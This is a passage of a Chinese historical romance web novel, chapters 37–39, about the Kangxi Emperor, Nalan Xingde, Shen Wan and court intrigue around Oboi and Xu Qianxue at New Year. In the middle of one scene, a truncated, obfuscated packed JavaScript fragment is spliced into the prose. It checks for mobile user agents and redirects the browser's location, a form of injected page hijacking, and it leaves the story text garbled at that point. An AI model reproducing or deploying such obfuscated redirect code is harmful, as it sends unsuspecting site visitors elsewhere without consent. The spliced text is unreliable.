夜宿坤宁宫,陪同赫舍里皇后一同吃完早膳,去养心殿稍微休整的路上,玄烨果然向顾问行提起了鳌拜。 “鳌拜真是反了!刑部也真是反了!”玄烨语调十分冰冷,“朕身边的一等侍卫图尔深对朕忠心耿耿,岂容鳌拜和刑部想杀就杀?” 想着纳兰公子提醒过要劝,顾问行便对玄烨道:“万岁爷,您周密部署,除掉鳌拜也就是今年开年这第一个月份的事情,且先忍了今日,何愁不得偿所愿?至于吏治,您早就有所主见,亲政后大展身手,何愁不能好好整顿?” 玄烨边快步走边道:“除掉鳌拜以后,朕要给明珠换个官位,不过不是纳兰说的兼管理藩院,而是刑部尚书。那些陈年旧案,朕就给明珠一些好好表现的机会去查。” 顾问行担虑道:“万岁爷圣明,只是纳兰公子对阿玛的新职位会抱有什么想法,就是需要万岁爷您体谅的了。” 玄烨一止步,不容置否道:“朕决定了事情,不会改。” 进入养心殿,玄烨看见纳兰在侧窗边吃苹果。 “臣参见皇上,愿皇恩泽瑞万方,大清四海谐和。” “纳兰,朕也希望你岁岁平安。” 等到纳兰把那颗苹果吃完,玄烨忍不住笑道:“明珠家大公子的早膳这么简单,一个苹果就够了?” 纳兰道:“昨夜寅时,梁公公前来指引,臣去弘德殿,照着年俗吃了四个素饺子和一个印了‘福’字的素馅饼,今早还饱。” 玄烨乐道:“朕在皇后宫里吃了三个大饺子,其中两个吃出了钱币。” “皇上和皇后在拜祭满族人的神明的时候,臣谨记职责在重华宫【注1】为皇上和大清写下了新年的第一篇文章。等到文章写完,天际微明,臣回到养心殿吃苹果,皇上就来了。” “你那篇文章在哪里?” “在臣自己的侧案上。” “一会儿放到朕的主案上去。” 顾问行提醒道: “皇上,纳兰公子,卯时(早上六点)一到,午门钟鼓大奏。届时,皇上您就要摆驾中和殿——接受礼部、都察院、内大臣、詹事府、侍卫的庆贺之礼;这个场子走完了之后,皇上您摆驾太和殿,接受文武百官和王族亲贵的朝拜,直到韶乐复奏,皇帝回宫,众人退下,才表示仪式结束。” “接下来的事你不用说了。”玄烨扬手打断,“朕最烦的就是后宫之事!” “顾总管你继续。”纳兰脾气颇佳,“皇上不听我听。” “奴才谢公子解围。” 顾问行继续道:“上面两大场子走完以后,皇上您摆驾乾清宫,在接受众后妃的贺拜的同时,与众后妃一同吃家宴,共设四十八道菜品。照着规矩,皇上您必须动筷的佳肴是:挂炉鸭子、鹿肉驴肉拼盘、燕窝莲子芙蓉羹、甜蔗雪梨汤。象征着皇上与后妃们甜甜蜜蜜、子嗣满堂。” “行了——”玄烨又一次打断:“纳兰都吃不下了,朕怎么还吃得下!” “虽说皇上您在皇后宫里已经吃过一次了,但是后宫嫔妃本质上讲,都是皇上您的家人呐,您不能不在家人们面做出点一国之君该有的样子来。” “顾问行,你管起朕来了?!” “皇后娘娘母仪天下,恩谐六宫,奴才还请皇上与皇后娘娘一同顾全家事。” “你这是学着纳兰给朕讲道理?” “奴才不敢。” * 即将步入大殿接受群臣朝拜,玄烨回头问纳兰:“怎么样?跟在朕身边,与朕一同感受万丈荣光和千万臣服。” 纳兰笑着回了一句实话:“臣觉得,是一种‘比谁都有幸、比谁都不幸’的实感。” “今天的场子更大,你继续陪着。” “是。” * 官云辞在家门外罚站一夜后,终于得到阿玛朴尔普的允许: “进家门、吃大年初一的和家饭。” 朴尔普见女儿就跟是个没事的人一样,精神状态良好,就惊讶问她:“云辞,你如何能够这般坚韧不屈?” “不然呢?”云辞笑着给阿玛和额娘夹菜,“女儿自怨自艾或是大吵大闹有用吗?罚过了昨晚的事情也就过去了,咱们瓜尔佳一家的年,一样好好过。” “老爷你看,咱们女儿多懂事。”章佳氏夸道,复转向朴尔普,“老爷,妾身听说:皇上的‘岁末把笔’之词都无关紧要,人人争阅纳兰性德的:开年第一篇。” “今年的皇上贺年把笔可不一样,那是纳兰性德陪着写的,能差吗?”朴尔普笑了笑,“宫墙外的人要是知道这点,一样争阅:皇上的贺年把笔。” 云辞道:“恕女儿直言,画师禹之鼎日后所成的《康熙皇帝接见蒙古王公图》,也必将是传世杰作。” “这么说来,”朴尔普不气云辞提及那个画师,只不解道,“那支驻扎在城下的蒙古兵马没有动静,今日鳌拜也没去朝贺皇上。” 章佳氏蹙眉道:“这不是对天子的大不敬吗?” 朴尔普道:“鳌拜手握兵权,自身又功夫了得,天子就算是想擒拿他也绝非易事。如果说是巧捉,那也不见得天子就光明磊落。” “那矛盾总有激发到不可收拾的时候呀!”章佳氏担忧道,“鳌拜一倒,会不会殃及咱们?” “妇人之怕!”朴尔普对着夫人一摇头,“你看看明珠的夫人觉罗氏,当初因为多尔衮之事,明珠站错了队险些被顺治皇帝清算,她自己也成了罪臣阿济格之女,可她怕过吗?如今她相夫教子,纳兰一家还不是我大清的名门?” “额娘不用担心。”云辞分析道,“只要阿玛没有参与到鳌拜的阵营当中去,皇上会对我们一家开恩的。” 朴尔普叹道:“我们一家跟鳌拜同宗同源,他日鳌拜身死,我这心里还真不是滋味。” 章佳氏道:“女儿啊,纳兰公子是皇上身边的近臣,关于鳌拜之事,你问过他的想法没有?” “自打纳兰公子主动登府来找之后,女儿没有见过他。” “那你就不会主动去见?”朴尔普有种女儿太没出息了的感觉,“我未来的贤婿品性极佳,即便是你找不到话题,他也能跟你和趣而谈。” 云辞尴尬道:“男女之事,讲究投缘。” “怎么不投缘?”朴尔普反问,“当朝权臣的贵公子,当朝一等公的独生女,郎才女貌,中西合璧。” “中西合璧。” 云辞和佟佳氏母女两面相对,一并重复了一遍。 “阿玛,你这个词,”云辞带着那么一些佩服,“开创的好。” ——不过,女儿希望是用在禹之鼎的画作上,而不是纳兰性德的词歌里。 * 密林处。 躲在一边的沈宛发现: 在一棵主干巨大的老树下面,师傅宋应星正与一个她从未见的人交谈。 那个人高高瘦瘦,一顶加绒避雪帽,一身加厚灰色棉袍,一双长筒黑靴,神色显狡,看着像是个饱读诗书、抱负满身亟待施展的文人。 宋应星道:“徐先生在崇祯四年生,顺治十一年入太学。若是康熙皇帝与纳兰性德一同筹谋的‘复翰林官属’的事情成了,徐先生你这个学士岂非有望成为纳兰性德的老师?” 徐先生假装客气道:“翩翩公子才华如日月同辉,我如何有资格教他?只怕晚辈的学识早在我之上啊!” “非也。”宋应星一眼识破,“徐先生你虽然满腹经纶,但是一心想得高位。比起依附索额图,不如依附明珠。而依附明珠的最佳捷径,就是从接触他家的贵公子纳兰性德入手。” “一只老狐狸和一只小狐狸罢了,徐某没有那么大的本事。” 宋应星唾弃眼前人的人品道:“徐先生连‘巧借一支蒙古兵马,诬陷为鳌拜所领’之事都干的出来,将来会如何周旋于纳兰父子之间,真是叫我拭目以待啊!” “宋公,你说的哪里话?”那人忙着否认,“徐某只是一个踏踏实实地做学问的人。” 宋应星冷笑一声,“徐先生,今日你先回去吧。不送。” “徐某还未亲眼阅得宋公的大作《天工开物》,岂能抱憾而归?” “我的《天工开物》何足看?”宋应星摆出送客的姿态,“不知以后徐先生会如何与纳兰性德一同编纂出一部惊世之作来,那才是叫我大开眼界!” “哪里?哪里?承宋公吉言。”徐先生对着宋应星一拜,“徐某告辞。” ——为什么要利用纳兰公子? ——那个徐先生到底是何人?他想要攀附明珠,就要做日后可能会伤害到纳兰公子的事情吗? 想到这些,沈宛觉得自己很有必要去跟纳兰公子提个醒。 只是惠儿小姐说过,明珠一家人在除夕夜和年初一、初二都不会回府。 所以,要等。 现在,不如去窥窥城下的“蒙古兵马”的情况为上计。 * 夜间。 容若卸下陪臣之累,回到了家人们身边。 宫内的一处暖阁中。 纳兰香芳,红萝炭暖;小窗半开,可见飘雪。 一家同在,其乐融融;夜聊生趣,笑语连连。 暖炕之上,容若坐在两位弟弟中间,拉着他俩的手和善询问:“揆叙揆方,你们近两天在宫里有什么感受?可还开心?” 揆叙认真道:“额娘教导:皇宫圣地,守矩为上,乐玩其中,不可真玩。所以我们多是看风景和见识人面,不记得有过嬉戏之事了。” 揆方道:“有容若哥哥在身边最好,和暖似有春风来。因为,皇宫无处不冷,即便是大排场的奏乐声、礼炮声、朝贺声不断,也是冷的很。” “长兄为你俩准备了新年礼物,不怪长兄送的迟一些吧?” 揆叙和揆方皆是高高兴兴,跟容若更亲近了。 明珠看向觉罗氏,用眼神问她:“夫人给咱们的三个儿子准备礼物了吗?” “那是自然。”觉罗氏点头,“容若年年不忘细心为阿玛和额娘准备年礼,你我作为父母,也要顾着孩子才行。” 明珠在觉罗氏耳边小声问:“夫人给容若准备了什么?” 觉罗氏道:“两棵合欢树树苗,好事成双。” “妾身从《神农百草》当中看得:合欢安五脏,合所愿,有令人欢乐无忧之效。所以,妾身盼着容若:无病息灾,相合心志、顺遂一生。”【注2】 明珠点头道:“夫人思虑周全,想必容若心里一定欢喜。” 容若将“一块玉佩”送给揆叙、“一颗珍珠”送给揆方。 ——我希望,纳兰家的“珠玉”不仅仅是我纳兰性德一人。 ——我希望,我的两个弟弟亦有“经世济民”之能和“名满天下”之誉。 “儿还未跟阿玛和额娘好好拜年。” 容若雅致又真诚地往明珠和觉罗氏面前跪下,道:“纳兰家长子成德,谨贺父明珠、母觉罗氏新春如意。” 他对父母深深一拜。 “儿啊,快起来。” 明珠夫妇一并把容若拉起。 揆叙和揆方一起跪在父母和容若面前,依照礼数道: “纳兰家次子揆叙/三子揆方,恭贺阿玛、额娘、长兄新年新气象,万事乘东风。愿纳兰家天上人间,年年有今夜,喜乐安宁。” “如愿,如愿。” 容若笑着说诸愿成真,笑着拉起两位弟弟。 纳兰一家人来到暖阁外的屋檐下赏雪。 明珠感慨道:“我们一家终于可以安静下来,放下一切杂念、一切扰事,好好地看雪景过年了。” “是啊。” 容若融入了这一瞬、这一刻、这一景。 最好的莫过此一时、此一夜、此一家。 * 次日清晨。养心殿。 玄烨问顾问行:“那些给朕当武术陪练的精干八旗子弟的新 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纳兰似寻常,道:“有利于大清长治久安,能让大清少几桩冤假错案,沉冤之人可得平反昭雪,阿玛上任后政绩不负众望,那皇上的决定就是圣明。” 玄烨脸上掠过一瞬愠怒,逼迫道:“别跟朕说那些预见性,朕要的是一个真正有本事坐的住刑部尚书的位置的人!” 纳兰心中被玄烨忽转的态度的刺的一疼,早知道,直接应了“满意”二字不是最妥当? 任命倾向是皇上你下的,你要是对明珠没有潜在的满意,会做出这样的决定吗?怎么臣就说不得自己对阿玛上任后的“三大愿景”的展望了? 玄烨拿顾问行出气道:“顾总管,朕惹纳兰了吗?” 顾问行一肚子觉得冤,这君臣之间的冷场与自己何干? 只得绞尽脑汁回话道:“奴才走神,不晓得万岁爷和纳兰公子之间说过什么话。” “朕看你是不懂得怎么当差了!”玄烨指向大门,“去拿纳兰爱吃的苹果来。” “万岁爷,您不是为纳兰公子设计了一道素食,叫‘香酥菩提果’吗?要不奴才……现在就照着您的设想去交待小厨房里厨子?” “朕看你真是当差当腻了!”玄烨为纳兰花的小心思就这么被说了出来,气急败坏地冲顾总管一吼,“给朕站一边去!!” “顾总管不走这一趟,臣吃不上:糖霜炸板栗,就没法谢皇恩了。” “你再说一遍——” “臣说完了,等着吃点心。” “给朕换个好听点的菜名——” “香酥炸板栗。” “纳兰你——!!” 纯心跟朕作对是不是? 君臣二人对着一盘香气十足的炸板栗,氛围立刻缓解如常。 顾问行终于能给自己发泄一口气,他冲在侧站着的自己的徒弟道:“呆愣的东西,还不去拿万岁爷和纳兰公子一并爱喝的普洱茶来?” “顾总管倒是不糊涂。”纳兰对玄烨道,“要是他说‘云南普洱茶’五个字,皇上怕是要三藩之事大发泄一通了吧?臣也不好劝,只能支持皇上。” 玄烨大喜:“你的意思是,你支持朕平三藩?” “是。”纳兰坚定地向玄烨点头,“等拿下鳌拜,皇上就理应平了三藩。” “知朕者,还得是纳兰。” “接下来,你准备干什么?” “去帮皇上查案子。” “避嫌。” “臣避或者不避,阿玛明珠都有嫌。” “你还敢在朕面前说这句替父喊冤的话?你以为朕只是口头上相信明珠跟理藩院无关吗?朕真恨不得把心挖给你看。” 即便朕吼你伤你、朕也只相信你一人。玄烨看着纳兰。 “鳌拜是否勾结蒙古兵马,理藩院是否依附明索两党架空皇权,皇上需要给相关之人和满朝文武一个——有凭有据的交待。” 而不是对臣一个人。纳兰看着玄烨。 玄烨制止道:“你是明珠的儿子,你亲自去查,是想让朕背负个‘徇私’的骂名吗?” 纳兰淡然:“他们即便要骂,骂的也不是皇上,而是纳兰性德。” 玄烨疑道:“你这副习惯了‘自己会在风浪中沉浮’的样子……该不会是觉得朕无能吧?” 纳兰正色道:“臣没有。” 【注1】 重华宫:康熙朝有“重华宫风雅宴”,乾隆朝发扬光大,“重华宫诗茶宴”成为年例行事。 参宴者为:皇帝钦点之人、才华出众的亲王、大学士、翰林。 史实:康熙皇帝一辈子未让纳兰性德入翰林,但是顾及纳兰在饮食上为半素主义者,重华宫文宴——永不设酒肉,只设素果茶饮;辅以(公子所爱的)素梅和玉兰为赏。算是对纳兰的愧疚和补偿。 【注2】 纳兰性德的两棵夜合树(合欢树) 史实: 错误:纳兰为卢氏夫人所栽。 正确:纳兰与母亲觉罗氏同栽。 两棵夜合树在卢氏进家门之前就种下去了,诚然纳兰在夜合树下有许多跟卢氏夫人一起度过的美好时光,但是在纳兰心中,两棵夜合树还是属于自己跟额娘的。 纳兰这一生,最后一首词写的正是夜合树。 其中一句“对此能消忿,旋移近小楹”, (1)“消忿”是指:自身对阿玛明珠的官场行径无能为力、不得不对着夜合树来安慰自己放下。 (2)“小楹”是指(父母一起吃饭)的厅堂(的梁柱),不是(夫妻)房间,纳兰倒下前是想去厅堂向额娘做最后尽孝和感恩的,可惜事与愿违,含恨而逝。 【注3】 公子早推断出明珠会任刑部尚书之事,见第20章 38.第38章 明府。 渌水亭内,石桌上摆着一盘新制的凤梨酥和几张被镇纸压着的词稿。 “阿玛此时来,是否打扰了你写词?” “词存心中,既成不忘,不差落笔先后。”容若笑道,“儿怎会怪阿玛?” “鳌拜未参加朝贺,容若你对此怎么看?” “皇上没在儿面前提起过鳌拜之事,儿猜想皇上应是在等待一个机会:即便是勾结蒙古兵马之事与鳌拜无关、也可以另寻契机治罪于他的机会。” “所以你觉得:皇上对这次的鳌拜不朝贺之事,过后算账要多于单纯忍耐?” “儿以为,皇上之所以沉得住气,应该是手握鳌拜滥杀一等侍卫图尔深的事实的缘故,但是皇上没法给鳌拜论罪:因为鳌拜敢坦诚自己的所作所为,就表示他能够自圆其说,即便是皇上定了他的罪,他也能够搬出祖宗家法来为自己开罪。所以皇上如今的心态,儿猜想:应是欲擒故纵,一切只等拿下鳌拜后,再公诸于群臣之前。” “一等侍卫图尔深死了,就等于是皇上安排精干八旗子弟突击擒拿鳌拜之时,少了一个做指挥的人。容若,你敢不敢去做这个把控指令之人?” “儿不是不敢,而是不能。”容若理性道,“擒拿鳌拜之日,我要是在养心殿,皇上必定会为我分心,顾我之余必失判断,所以我不可前去。” “都靠皇上一个人来做判断和拿主意的话,你觉得皇上能行吗?” “皇上不行也得行,不然要搭进去多少人的性命?大清江山会落入谁之手?” “阿玛只要一想到:届时索额图也在,会带着他所选拔出来的精锐一并护驾,这心里就不舒坦。” “人跟国家比,不是沧海一粟吗?阿玛你不要给自己设限,凡事都要戒备死对头的话,还要如何走向权力之巅?” “你希望阿玛走向权力之巅?” “知父莫若子。阿玛的志向,容若一直看在眼里。” “你呢,就是不正面说‘是’或者‘不是’,总把选择的余地留给我明珠。” “儿有儿的想法,朝中有朝中的形势,二者无法兼容,所以还是要看阿玛你如何把握和平衡当中的身不由己。” “你晓得我明珠身不由己就好。” “阿玛,容若是你的儿子也是你的幕僚,往后不管你做何种选择,容若都会理解你。” “皇上跟我说,日后要任明珠为刑部尚书。这点你我父子都早已料到,如今想想,这一次新任,对阿玛你而言——究竟是地位在提升,还是责任在加重,容若却是不懂了。” “你这么说,是不是表示自己又受了皇上的气?” “阿玛误会,皇上没有对我撒气。” “一切高官厚禄,我明珠只怕……爬的越高,摔的越痛。” “只要儿活着,就不会让阿玛你经受这冰火两重天之感。所以请阿玛答应,无论身在何高位,一定做个好官。” “好,我答应你。” 明珠离开。 容若看着明珠的背影,只盼着明珠青云路顺利。 ——儿希望阿玛睿智、明辨,将来执掌朝纲而不愧自己、不愧天下。 一阵风吹来。 凌乱了几张拿掉了镇纸的词稿,词稿随风而去了远方,渐渐消失在视野里,不见了。 * 容若来到城门口,只见来往的行人都在有序地接受官兵们的检查,并无特别的异样。 得到登上城楼的许可后,站在城楼的高处,容若看见了那支驻扎在城外不远处的兵马—— 要说士气,这些日子下来,气候不佳,粮草有缺,自然是低靡;要说规模,跟情报中所得来的多少有出入,比预估中的要少,但是不排除另有埋伏或是伪装成平头百姓的可能;要说主帅,倒是没看出来,反而是有种:那些兵马聚集在此,只是收人钱财、等待雇主命令再行动的感觉。 容若摇了摇头。 这样的兵马定是与鳌拜无关,鳌拜是满清第一勇士,怎屑去私调这样不具备战斗力、也训练无素的兵队? 那么真正指挥,不,不可以说是指挥,而应该说:买通。 真正买通这支所谓的“蒙古兵马”的幕后之人是谁?为什么非要有这步举动?为什么非要假放消息、说与鳌拜有关? 容若顺着城楼的扶栏缓缓走动,琢磨那些问题的答案。 沈宛踩着轻功而来,降落在容若面前,欣喜地叫了声:“公子。” 容若拉沈宛到一背风处,问她:“宛卿,你怎么在这儿?” “公子才是,这么冷的天,登高上楼,吹风沾雪做什么?” “我来看看那支蒙古兵马是怎么回事。” ——我,其实……是来解决两个难题的。 ——第一个,想要扳倒鳌拜、却隐藏自己的私心和用意的幕后黑手是谁?第二个,敢利用理藩院、且有本事让理藩院不上报实情给皇上,进而让明党和索党落进“官官勾结,动摇国本”之嫌的人是谁?跟嫁祸鳌拜的幕后黑手是否为同一个? “哦,那是怎么回事?” “跟我想象的不同,但是我已经解惑了。” ——得知那支兵马并不是大清的威胁,我放心;看透朝中存在一个试图大放“一箭三雕”的阴招的躲在暗处之人,我忧心。 ——那支兵马,无关引发蒙古与大清之间的冲突,也无关伺机而动相助于鳌拜造反,只是起到了“动摇君心”的作用,策划者的居心是何等险恶? “公子的心里,到底在想什么呢?为什么瞒着我?” “可以跟宛卿说吗?宛卿可以把我说过的话都只记在自己心里,不跟第二个人提起吗?” 容若小心谨慎却不失风度的模样,让沈宛心中的“珍惜他”与“保护他”之情并存。 偏偏就是这样的佳公子,才最叫人“细品销魂”与“求而不得”。 “公子先听我说我探到的情报吧?” “好。” 早已习惯了坐地板的两人,隔着披风坐在了城楼的青砖之上。 沈宛曾问:“公子,地砖寒气大,你为什么——” 容若笑答:“我总是告诉自己:纳兰性德你不是觉得冷,而是不知道真正的温暖是什么。所以,跟宛卿一起坐冷砖地也没关系。” * 两人独处,不论纳兰公子心里的感情如何,沈宛自身却是无时不觉得喜悦。 她写下过一首《玉瓶案》词,其中两句是: 守个冰雕人儿,小碰却暖,还疑春已至。 言半却捣双思绪,未尽。几多贪想、几多不觅,难并。 “公子,前几日有一位徐先生前来找我师傅,抱着借阅我师傅的著作的理由。可我觉得那位徐先生动机非纯。” “徐先生?” “我不知他的姓名,只是从师傅口中听得一句话:徐先生连‘巧借一支蒙古兵马,诬陷为鳌拜所领’之事都做得出来。想着,当中定是涉及难明难断的黑白,还是告知公子比较好。” “顺治皇帝重用前明文人,为的是站在道德至高地上:以文人治文人,巩固大清江山统治。所以徐先生就是最早愿意为大清效力的文人之一。” 说着,容若谨慎询问:“宛卿,如果我没猜错,你师傅应当是忠于明朝之人。那位徐先生去见你师傅,除了想借阅你师傅的著述之外,还带着些自鸣得意的高傲,为的是让前明的士人看到‘徐某人’的本事,好进一步确立自己在前明士人中的威信。” “公子可知道徐先生到底是谁?” “徐乾学。” 沈宛露出了让容若做好心理准备听她说话的神情,道:“我从师傅的话中猜得,徐先生想攀附明珠大人,手段是授业、利用、伤害公子你。” “徐先生是想让我在不知不觉之中——既尊他为师又受他的牵引所走,进而在阿玛或是皇上面前为他美言,好成全他的青云梦。但是他不知道,我纳兰性德可以从一师、可以共事一师,甚至可以对老师接近我的目的故作不知,却真的容不得徐先生这般的心机之人。” “公子的意思是?” “我的意思是:将来,徐乾学若是真的成了我的老师,我与他之间只止于学问交流、经典讨论、编撰修书,绝无朋党之交、时局之论、政事之谈。” “沈宛不懂,为什么徐先生对公子:一面爱才惜才、想倾囊相授为美玉增光;另一面恨极妒极、面善心恶巴不得美玉尽碎。” “授业于皇帝、授业于名门公子,谁没有私心呢?私心的轻重不同而已。” 容若半仰着脑袋,看向茫茫天际: 宛卿,除了皇上之外,我没有同龄的朋友。曹寅比我小,禹之鼎比我大,我的两个弟弟揆叙和揆方跟我年纪相差有距。所以,不管皇上怎么对我,我都将皇上视为友、多于视为君。 宛卿,渌水亭风光中,我没有八旗的知交。我的宾客多是汉人,八旗世子们不愿意跟我相处,许是我真的被他们视为“隔阂之人”了吧?我明明想融入他们之中,他们的日常行事:骑马射箭我会、放宴豪饮我能、立志建功沙场我亦同感,为什么他们就是觉得:纳兰性德跟我们不是同一类人? 宛卿,师者如父,若是授业于生徒,一方心存所欺,那么维持双方关系就会很苦。纳兰性德对徐乾学敬重,徐乾学对纳兰性德尽力,到头来,换得的不过是—— 骗了众人的眼睛的“名师出高徒”五个字,个中的算计解计、布局破局、出招拆招……远远深于做学问百倍的苍凉和残酷,有谁知道? 容若在心中唤了三声沈宛的名字。 她是那样一个性格明朗的女孩子,他是那样一个矜持自爱的贵公子,真的可以走到一起去吗? “我觉得很孤独。” 没有除了一国之君之外的朋友,在将来,身边……连个好老师都没有。 “公子,我在。” “宛卿,可以握握我的手吗?” 我觉得害怕,孤独的害怕,害怕到了某一天,连皇上和你都不把我当作朋友。我不想失去自己,也不想自己被你俩失去。 * 沈宛觉得自己不能轻易触及纳兰公子的双手,可还是禁不住去合握,好似: 自己不感触那份冷,与他在一起的记忆就会少一分、他就会从自己身边永远消失一样。 “想要,为公子做一双手套。” “祖王父多尔衮驯鹰、驯马、把控大刀,常戴手套。顺治皇帝厌恶这一点,所以下令八旗子弟非必需而不得使用手套。到了康熙朝也一样,没有八旗子弟敢戴着手套招摇过冬。” “祖制是死的,寒冷气候是活的,公子不觉得那样的规矩太不近人情了吗?” “守规矩的人,虽不一定能够得好报,但定能自保善终;坏规矩的人,虽大胆挑衅,但是输是赢总能得出一个结果来,最后不过是让自己心如鱼饮水、冷暖自知罢了。” 沈宛开玩笑道:“不如公子你起个头吧?你戴手套的话,八旗子弟纷纷效仿,顺治皇帝立下的那条没道理的规矩不就破了?” “傻瓜。”容若轻敲沈宛的脑袋,“你真当大家是守着顺治皇帝的训示吗?大家看的是孝庄太皇太后的颜面,一旦有哪个八旗子弟起了头,就等于是公然支持多尔衮,让太皇太后为难啊!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489632|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“公子你不一样嘛,你的手是真冷。” “有机会,宛卿你要陪我去茶楼喝茶,且不能怪我:双手握着茶杯的时间,比执杯饮茶的时间多。” 沈宛笑着: 怪公子吗?当然是不舍得。 只是在言语之间捕捉到公子脸上的每一个神情,都相当值得。 * 携手从城楼上走下。 二人并不想掩人耳目。 一处雅阁小馆。 包间之内,有一方素桌、一扇素窗、一瓶素花、一把素琴、一幅素轴、一盏素香。 沈宛明白了,这里上的肯定也是素菜。 果然,逐一被端上桌、盛装在精致盘碟里的,全是符合纳兰公子品味的素菜。 像是:碧玉翡翠羹、桂花山药酥、素炸三丝卷、藜麦鲜菇饭、糖醋素排骨、荷香煎豆腐、川风白菜丝、蜜豆如意甜汤。 沈宛问店小二:“这道菜是板栗做的吗?” “姑娘好眼力。”店小二介绍起来,“纳兰公子爱吃的素果和干果,我们这家‘饮水词歌·素菜馆’定是要四季都备着的。公子把这道菜命名为:笛月参菩提。” 沈宛脱口而出:“这不是‘香酥炸板栗’吗?” “我也是这么跟皇上说的。”容若夹了一粒“菩提子”到沈宛碗里,“然后皇上就一副拿我没办法的样子做了罢。” “公子为什么不把‘笛月参菩提’的雅菜名归皇上?” “我生辰要到了,皇上要送119颗十四瓣的金刚菩提子手串给我。到时候一并把谢意给皇上。” 店小二忍不住问:“姑娘,纳兰公子命名的‘笛月参菩提’五个字是何意啊?” 沈宛自信,她觉得容若的心思应该是: “笛在心境,月在心情,一个‘参’字,惆怅悲喜自知。都说菩提子是开启智慧之物,但是悟的太透,则必伤。” “但是呢,公子的赐名用在你家素菜馆的营生里,你且当成:横笛邀月,参客共品素栗香就好。公子,我说的对吗?” “对。”容若补充了一句,“笛月参菩提,宛若敲遐思。” ——宛卿,笛与月伴心香,你与我入联翩。 喝着蜜豆甜汤的时候,容若忽然想起一件事。 “宛卿你还没有告诉我,九节扇骨折扇的扇骨,你是怎么拿到手的?” “花了挺多探寻的功夫,以为师傅会把九节扇骨放在屋内外,结果却是在师傅平日里练习打坐的山间飞龙瀑布下面潭子侧找到了。” “放在那里,是不是表示你师傅借以提醒自己:纵然三千飞流之水气势磅礴,心定之人也不动如竹?” “不管师傅,只管公子。”沈宛看着容若,“可好?” 容若一笑,点了头。 他想问她:管我什么呢?这份缘,这段情,还是这辈子? “没见到公子亲手所制成的扇子的成品,遗憾。” 容若从袖中拿出一样东西,“我把宛卿的丝帕带在身上,宛卿绣的玉兰花跟我平日里看的、画的、写进词里的挺像。” “挺像?”沈宛故意摆出不服气的样子,“公子要是说‘一样’就好了。” 容若反问她:“世间哪有两朵花是相似的?” “没有吗?不过——”沈宛一笑,“我也一直带着公子给的数颗菩提子。” 花开见菩提,菩提复花开。 她之所给,一针一线一素葩,情深意重;他之所接,拈花一指,份量在心。 他之所给,一念一思一福量,和善光明;她之所接,菩提一诺,慧通无穷。 沈宛,容若。 宛若佳偶天成。 * 书房内。 点心时间,玄烨放下书,等着顾问行给自己回话。 “万岁爷,奴才已经为您打听清楚了,纳兰公子爱吃:松子仁、奶酪馅儿的烧麦和凤梨馅儿的酥饼。那酥饼,是明府特有之物,纳兰公子只在跟明珠大人一起讨论政局和国家大事的时候叫人去备。” “朕要收复台岛!”玄烨一扬脑袋,“江山一统,区区几个菠萝不在话下。” “擒拿鳌拜、平定三藩、收复台岛、平定准噶尔。”顾问行细数了一番,“万岁爷要做的事情多着呢。” “朕就是要一件一件地做成,做给纳兰看,做给天下的臣民看。” 玄烨霸气十足。 “万岁爷,您是否也要尝个凤梨酥来壮壮志气?” “去拿,复刻不出纳兰吃的同款,朕就把御膳房的厨头革职论罪。” 顾问行从侧面拿来皇上想要之物,道:“好在是奴才先从纳兰公子手中给皇上要了一个来。” 玄烨指着刚开盖的食盒:“这不是两个吗?” “奴才只要了皇上的份,另一个是纳兰公子专门给皇上添的:说是皇上一并吃了也无妨。” “他是叫朕吃了他那份?” “奴才不好琢磨,还请万岁爷自个细品。” 尝罢凤梨酥,玄烨心情大好。 “你去把纳兰叫进宫来,就说朕有事找他商量。” “皇上要想传达凤梨酥好吃之意,奴才去明府亲口相告就是了,不必劳纳兰公子跑这一趟。” “朕格局与胸怀大的很,要跟纳兰商量国家大事——!!” 顾问行边走边想: 贵公子跟父亲明珠商量国家大事之时,必吃凤梨酥,这是珍珠都没有那么真的大实事。只是万岁爷……万岁爷吃凤梨酥、也吃出了“商量国家大事”之意,是真的吗? 可愿万岁爷不要折腾出什么事情来才好,年还没有过完呢。 39.第39章 明府。 明珠夫妇听到皇上身边的顾总管来了,赶紧迎了出去。 “明珠大人,咱们万岁爷想见大公子,不知道大公子在不在?” “容若一早出门去了,此时应是在城楼那边。” “那奴才就占用府中的一块地、一些时间,等着大公子回来。” “顾总管,这回皇上找容若,为的是什么事?” “国家大事。” 明珠一惊,一边想到自己、一边想到鳌拜,也不想往下问了,就吩咐管家带了顾总管入屋去坐,自己跟夫人回了房。 觉罗氏问:“老爷,可要叫人去城楼那边把容若叫回家?” 明珠摆了摆手:“你就这么确定容若没有乱走?” “咱们儿子能走去哪儿?就算容若多逛了几处别的地方,老爷你也该准了他。” “夫人糊涂啊!皇上这次叫容若进宫共商国家大事,怕是认真的。” “怎么见得?” “我不知道该怎么说,就是父子之间的心灵默契,觉得容若能给皇上一个满意的回复。” 另一边。 纳兰惠儿坐在侧阁的房中,数着参加选秀的日子越来越近,心中难免伤悲。 答应表兄再多“两相忘”,也抵不过“情已深”这三个字啊! 一页一页的词稿,包括那张从渌水亭随风纷飞而来的新稿,都是这般扣动心弦。表兄写下的每一个字和每一句话,读过便是不能忘,记下便是一辈子。 惠儿转向镜子,看着镜中的自己。 最是相思藏不住,未入宫门花颜盈。 已是三千三生情,转瞬俱来成水饮。 何须侧帽惹人效,把笔之词天下赢。 渌水菡萏夏时开,可怜深阙无蜻蜓。 忽然就想到沈宛了,那个从江南而来、对容若大胆而执着的女子。 惠儿觉得自己对沈宛并非抱着敌意,而是不喜欢沈宛接触容若的方式:不能正大光明就私下多见;能够坦荡相助就抛头露面;甚至还敢轻易说出“我这辈子所爱之人,只纳兰公子一个”这样的话,到底是有几分把握自己也被容若喜欢着、深爱着啊? 沈宛你不知道吗? 纳兰公子是天下人的纳兰公子,不是你我能够消受得起的。 惠儿低头,轻嗅了嗅一块未点燃的纳兰香香块。 竟然双目氤氲,为什么忽然就想哭了呢?是因为“爱而不得”这个四个字吗? 明明,这个新年唯一的愿望,就是:“请菩萨保佑,我纳兰惠儿与表兄容若,爱尔得尔,美满一生。” 